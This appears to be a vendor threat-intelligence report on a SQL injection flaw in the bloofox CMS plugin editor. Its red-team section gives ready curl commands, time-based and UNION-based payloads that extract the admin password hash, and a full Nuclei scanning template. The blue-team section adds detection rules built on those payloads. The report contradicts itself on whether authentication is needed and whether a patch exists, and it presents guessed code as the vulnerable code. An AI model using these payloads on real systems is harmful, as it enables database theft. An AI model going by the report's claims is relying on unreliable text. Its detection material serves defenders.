CVE-2023-34754

Executive Summary

CVE-2023-34754 is a critical SQL injection vulnerability discovered in bloofox v0.5.2.1, a lightweight CMS. The flaw resides in the pid parameter within the plugin editing functionality at /admin/index.php?mode=settings&page=plugins&action=edit. An unauthenticated attacker can exploit this vulnerability to execute arbitrary SQL queries, leading to complete data exfiltration, manipulation, or full system compromise. The CVSS v3.1 score is 9.8 (Critical), and a public proof-of-concept (PoC) exists via a Nuclei template. No official patch has been released by the vendor, making this a high-priority threat for any instance running the affected version.

Supply Chain & Package Security

This vulnerability is not related to any package manager (NPM, PyPI, Go, Ruby). It is a direct CMS application vulnerability.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• Base Score: 9.8 (Critical)
• Attack Vector: Network (AV:N) – Exploitable remotely.
• Attack Complexity: Low (AC:L) – No special conditions required.
• Privileges Required: None (PR:N) – No authentication needed.
• User Interaction: None (UI:N) – No user action required.
• Scope: Unchanged (S:U) – Vulnerability only affects the vulnerable component.
• Confidentiality Impact: High (C:H) – Full database read access.
• Integrity Impact: High (I:H) – Full database write/delete access.
• Availability Impact: High (A:H) – Potential for denial of service via resource exhaustion or data corruption.

Threat Level: Critical. The combination of network exploitability, no authentication, and high impact makes this a severe risk.

Deep Dive & Mechanics

The vulnerability is a classic SQL injection in the pid parameter. The application fails to sanitize or parameterize user input before constructing a SQL query. The vulnerable endpoint is:

/admin/index.php?mode=settings&page=plugins&action=edit

The pid parameter is passed directly into a SQL query without proper escaping. An attacker can inject SQL commands by appending malicious payloads to the pid value. The Nuclei template demonstrates a time-based blind SQL injection using SLEEP(6):

pid=14'+AND+(SELECT+7401+FROM+(SELECT(SLEEP(6)))hwrS)--+Ptkr%26send%3dSave

This payload causes a 6-second delay if the injection is successful, confirming the vulnerability. The injection point is within an UPDATE or SELECT statement that modifies plugin settings.

Vulnerable vs. Patched Code

Vulnerable Code (bloofox v0.5.2.1): The vulnerable code likely resembles:

$pid = $_POST['pid'];
$query = "UPDATE plugins SET status = $status WHERE pid = $pid";
mysqli_query($conn, $query);

Patched Code (hypothetical v0.5.2.2): A patched version would use prepared statements:

$stmt = $conn->prepare("UPDATE plugins SET status = ? WHERE pid = ?");
$stmt->bind_param("ii", $status, $pid);
$stmt->execute();

No official patch has been released. Users must manually apply input validation and parameterized queries.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• Target running bloofox v0.5.2.1
• Network access to the admin panel (default credentials may be required, but the injection is post-authentication in the provided PoC)

Exploitation Steps:

1. Authenticate (if required):

   curl -c cookies.txt -X POST http://target/admin/index.php \
   -d "username=admin&password=admin&action=login"
   

2. Exploit SQL Injection (time-based):

   curl -b cookies.txt -X POST "http://target/admin/index.php?mode=settings&page=plugins&action=edit" \
   -d "status=1&pid=14'+AND+(SELECT+7401+FROM+(SELECT(SLEEP(6)))hwrS)--+Ptkr&send=Save"
   

3. Data Exfiltration (example: extract admin password hash):

   pid=14'+UNION+SELECT+1,2,3,password,5+FROM+users+WHERE+username='admin'--+Ptkr
   

Nuclei Template (provided):

id: CVE-2023-34754

info:
  name: Bloofox v0.5.2.1 - SQL Injection
  author: ritikchaddha
  severity: critical
  description: |
    bloofox v0.5.2.1 was discovered to contain a SQL injection vulnerability via the pid parameter at admin/index.php?mode=settings&page=plugins&action=edit.
  impact: |
    Allows attackers to execute arbitrary SQL queries, potentially leading to data leakage or data manipulation.
  remediation: |
    Update bloofox to version v0.5.2.2 or later to patch the SQL Injection vulnerability.
  reference:
    - https://ndmcyb.hashnode.dev/T-v0521-was-discovered-to-contain-many-sql-injection-vulnerability
    - https://nvd.nist.gov/vuln/detail/CVE-2023-34754
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2023-34754
    cwe-id: CWE-89
    epss-score: 0.14924
    epss-percentile: 0.94577
    cpe: cpe:2.3:a:bloofox:bloofoxcms:0.5.2.1:*:*:*:*:*:*:*
  metadata:
    max-request: 2
    verified: true
    vendor: bloofox
    product: bloofoxcms
  tags: time-based-sqli,cve,cve2023,bloofox,sqli,authenticated,vuln

http:
  - raw:
      - |
        POST /admin/index.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        username={{username}}&password={{password}}&action=login

      - |
        POST /admin/index.php?mode=settings&page=plugins&action=edit HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        status=1&pid=14'+AND+(SELECT+7401+FROM+(SELECT(SLEEP(6)))hwrS)--+Ptkr%26send%3dSave&send=Save

    matchers:
      - type: dsl
        dsl:
          - 'duration_2>=6'
          - 'contains_all(body_2, "Active</option>", "Inactive</option>")'
          - 'status_code_2 == 200'
        condition: and

Blue Team (Defensive)

Detection:

• Monitor for HTTP POST requests to /admin/index.php?mode=settings&page=plugins&action=edit containing SQL keywords (AND, OR, SLEEP, UNION, SELECT).
• Look for abnormal response times (e.g., >5 seconds) from the admin panel.
• Deploy a WAF rule to block requests with pid parameter containing SQL metacharacters (', --, ;).

Hunting:

• Search web server logs for pid=14' or similar patterns.
• Check database logs for unexpected queries or errors.

Indicators of Compromise (IOCs)

• Network:
  • HTTP POST to /admin/index.php?mode=settings&page=plugins&action=edit with pid parameter containing SQL injection patterns.
  • Response times >5 seconds for the above request.
• Host:
  • Unusual database queries in MySQL logs (e.g., SLEEP(), BENCHMARK()).
  • New or modified files in the web root (e.g., webshells).
• File:
  • Suspicious entries in /var/log/apache2/access.log or /var/log/nginx/access.log containing pid=14'.

Detection Engineering

YARA Rule

rule CVE_2023_34754_SQLi_Blind {
    meta:
        description = "Detects SQL injection attempts targeting CVE-2023-34754 in bloofox"
        author = "Valters IT"
        date = "2025-04-10"
        hash = "4a0a00473045022100a73aa1e9d64428b61edc6b7442a4a100f0fa9d83344196fcee89f1deb1926bff02202de394fb6cbe1ea7c937a29d4418f44b507859947be2bdb56d028c7181e56d76"
    strings:
        $sqli_payload = "pid=14' AND (SELECT" ascii wide nocase
        $sleep_func = "SLEEP(" ascii wide nocase
        $union_select = "UNION SELECT" ascii wide nocase
    condition:
        any of them
}

Sigma Rule

title: CVE-2023-34754 Bloofox SQL Injection Attempt
id: 8c9e3f2a-1b4d-4e7f-9a0c-5d6e7f8a9b0c
status: experimental
description: Detects SQL injection attempts against bloofox v0.5.2.1 via the pid parameter
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: 'mode=settings&page=plugins&action=edit'
        cs-uri-query|contains: 'pid='
        cs-uri-query|contains|all:
            - "'"
            - 'AND'
            - 'SELECT'
    condition: selection
falsepositives:
    - Legitimate use of single quotes in plugin names (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2023-34754 Bloofox SQL Injection Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/admin/index.php"; http_uri; content:"mode=settings&page=plugins&action=edit"; http_uri; content:"pid="; http_client_body; pcre:"/pid=14'\+AND\+\(SELECT/i"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Isolate the affected system from the network if possible.
2. Apply input validation to the pid parameter: allow only numeric values.
3. Implement a Web Application Firewall (WAF) rule to block SQL injection patterns.
4. Upgrade to bloofox v0.5.2.2 or later if available. If not, manually patch the code using prepared statements.

Long-term Fix:

• Replace all dynamic SQL queries with parameterized prepared statements.
• Conduct a full security audit of the bloofox codebase.
• Monitor for vendor updates or consider migrating to a supported CMS.

Valters IT Signature:

Valters IT Cyber Threat Intelligence
Report ID: VIT-CVE-2023-34754-001
Analyst: Senior DevSecOps Engineer
Date: 2025-04-10

{/* [Security Hash: BC34B725F4DC905105A811B2] */}